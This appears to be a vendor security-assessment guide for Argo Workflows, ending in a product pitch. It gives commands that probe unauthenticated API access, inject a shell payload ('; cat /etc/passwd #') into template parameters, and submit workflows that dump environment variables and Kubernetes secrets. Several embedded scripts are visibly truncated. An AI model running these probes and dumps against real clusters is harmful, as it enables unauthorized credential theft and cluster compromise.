Argo Workflows is the most popular Kubernetes-native workflow engine, running in production at thousands of organizations for ML pipelines, data processing, and CI/CD. But its power comes with security complexity: the server can run in unauthenticated mode, workflow templates accept user-supplied parameters that flow into container commands, service accounts used by workflows often have excessive Kubernetes RBAC permissions, and artifact repositories store cloud credentials accessible to any workflow. This guide covers systematic Argo Workflows security assessment.
# Argo Workflows server auth modes:
# - server: use server's service account (no user auth) — MOST DANGEROUS
# - client: use bearer token or kubeconfig passed by client
# - sso: SSO via Dex, OAuth2
# Check current auth mode
kubectl get configmap workflow-controller-configmap -n argo -o yaml | \
grep -A 5 "ARGO_SERVER_AUTH_MODE\|authMode"
# Or via deployment args
kubectl get deploy argo-server -n argo -o json | python3 -c "
import json,sys
d = json.load(sys.stdin)
for c in d['spec']['template']['spec']['containers']:
if 'argo-server' in c['name'] or 'server' in c['name']:
print('Args:', c.get('args',[]))
# Look for: --auth-mode=server (dangerous)
# vs --auth-mode=client or --auth-mode=sso
"
# Test unauthenticated API access (auth-mode=server makes all API calls use server SA)
ARGO_URL="http://TARGET:2746"
curl -s "$ARGO_URL/api/v1/workflows/argo" | python3 -c "
import json,sys
try:
data = json.load(sys.stdin)
wfs = data.get('items',[])
print(f'Workflows accessible without token: {len(wfs)}')
for wf in wfs[:3]:
meta = wf['metadata']
print(f\" {meta['namespace']}/{meta['name']} status: {wf['status'].get('phase','?')}\")
except: print('Auth required or error')
"
# Test workflow submission without auth
curl -s -X POST "$ARGO_URL/api/v1/workflows/argo" \
-H "Content-Type: application/json" \
-d '{
"workflow": {
"metadata": {"name": "security-test", "namespace": "argo"},
"spec": {
"entrypoint": "test",
"templates": [{
"name": "test",
"container": {"image": "alpine", "command": ["sh", "-c", "id && env"]}
}]
}
}
}' | python3 -c "import json,sys; d=json.load(sys.stdin); print('Created:', d.get('metadata',{}).get('name','FAILED'))"# Argo Workflows uses {{inputs.parameters.NAME}} syntax for parameter substitution
# User-controlled parameters that flow into container commands = command injection
# Vulnerable workflow template example:
# templates:
# - name: process-data
# inputs:
# parameters:
# - name: filename
# container:
# command: [sh, -c]
# args: ["process --input {{inputs.parameters.filename}}"]
# Test: inject shell metacharacters into filename parameter
# Payload: "; cat /etc/passwd #"
argo submit --serviceaccount workflow --watch - <# Argo Workflows can manage workflows across namespaces
# Check if namespace isolation is enforced
# Check if argo-server can manage ALL namespaces
kubectl get clusterrolebinding | grep argo
kubectl get clusterrole argo-server -o yaml | \
python3 -c "
import yaml,sys
role = yaml.safe_load(sys.stdin)
for rule in role.get('rules',[]):
print(f\"Verbs: {rule.get('verbs','?')} Resources: {rule.get('resources','?')}\")
"
# Test cross-namespace workflow listing
ARGO_URL="http://TARGET:2746"
TOKEN="your_token_here"
# Try listing workflows in kube-system
curl -s "$ARGO_URL/api/v1/workflows/kube-system" \
-H "Authorization: Bearer $TOKEN" | python3 -c "
import json,sys
try:
data = json.load(sys.stdin)
print(f'kube-system workflows: {len(data.get(\"items\",[]))}')
except: print('Denied or no workflows')
"
# Test if a workflow in namespace A can read secrets from namespace B
kubectl apply -f - <# Argo workflows run as a Kubernetes service account
# If that service account has broad RBAC permissions, workflow code can escalate
# Check workflow service account permissions
kubectl get rolebinding,clusterrolebinding \
--all-namespaces -o json | python3 -c "
import json,sys
data = json.load(sys.stdin)
for binding in data['items']:
subjects = binding.get('subjects',[])
for subj in subjects:
if subj.get('kind') == 'ServiceAccount' and 'workflow' in subj.get('name','').lower():
meta = binding['metadata']
role = binding.get('roleRef',{})
print(f\"SA: {subj['namespace']}/{subj['name']}\")
print(f\" Binding: {meta['name']} → Role: {role.get('name','?')}\")
"
# Test: does the workflow service account allow creating pods (= container escape)?
kubectl auth can-i create pods \
--as=system:serviceaccount:argo:workflow \
--namespace=argo
# Test: can workflow SA read secrets (= credential theft)?
kubectl auth can-i get secrets \
--as=system:serviceaccount:argo:workflow \
--namespace=argo
# Exploit: submit a workflow that uses kubectl with its SA token
argo submit --watch - <&1 | head -20
echo "=== Cluster roles ==="
kubectl get clusterrolebinding 2>&1 | head -10
EOF # Argo stores workflow artifacts (logs, outputs) in S3/GCS/Azure Blob
# The credentials for this repository are accessible to all workflow pods
# Check artifact repository configuration
kubectl get configmap workflow-controller-configmap -n argo -o yaml | \
grep -A 20 "artifactRepository"
# Common finding: S3 credentials stored as Kubernetes secret refs
# But workflow pods can read those secrets if SA has get:secrets permission
# Extract artifact repository credentials from workflow pod environment
argo submit --watch - </dev/null
EOF
# Check if workflow pods mount the artifact secret
kubectl get pods -n argo -l workflows.argoproj.io/workflow -o json | python3 -c "
import json,sys
pods = json.load(sys.stdin)['items']
for p in pods:
for vol in p['spec'].get('volumes',[]):
if 'artifact' in str(vol).lower() or 'secret' in str(vol).lower():
print(f\"{p['metadata']['name']}: {vol}\")
" # Workflows often need access to secrets for credentials
# Test for over-broad secret access
# Check if workflow SA can list/get ALL secrets in namespace
kubectl auth can-i list secrets \
--as=system:serviceaccount:argo:workflow -n argo
# Submit workflow that dumps all accessible secrets
argo submit --watch - <--auth-mode=sso or --auth-mode=client — never use server mode in production:latest| Security Test | Method | Risk |
|---|---|---|
| Server auth-mode unauthenticated API | curl /api/v1/workflows without token | Critical |
| Template parameter command injection | Inject shell metacharacters in parameters | Critical |
| Workflow SA can create pods | kubectl auth can-i create pods as workflow SA | High |
| Workflow SA can read all secrets | kubectl auth can-i list secrets as workflow SA | High |
| Cross-namespace workflow listing | Request /api/v1/workflows/kube-system | High |
| Artifact repo credentials in pod env | Submit workflow that dumps env vars | High |
| Node selector bypass for host access | Submit workflow targeting control-plane nodes | Medium |
Ironimo tests Argo Workflows deployments for unauthenticated server access, template injection vectors, service account privilege scope, artifact credential exposure, and namespace isolation gaps — ensuring your ML and data pipeline infrastructure is properly secured.
Start free scan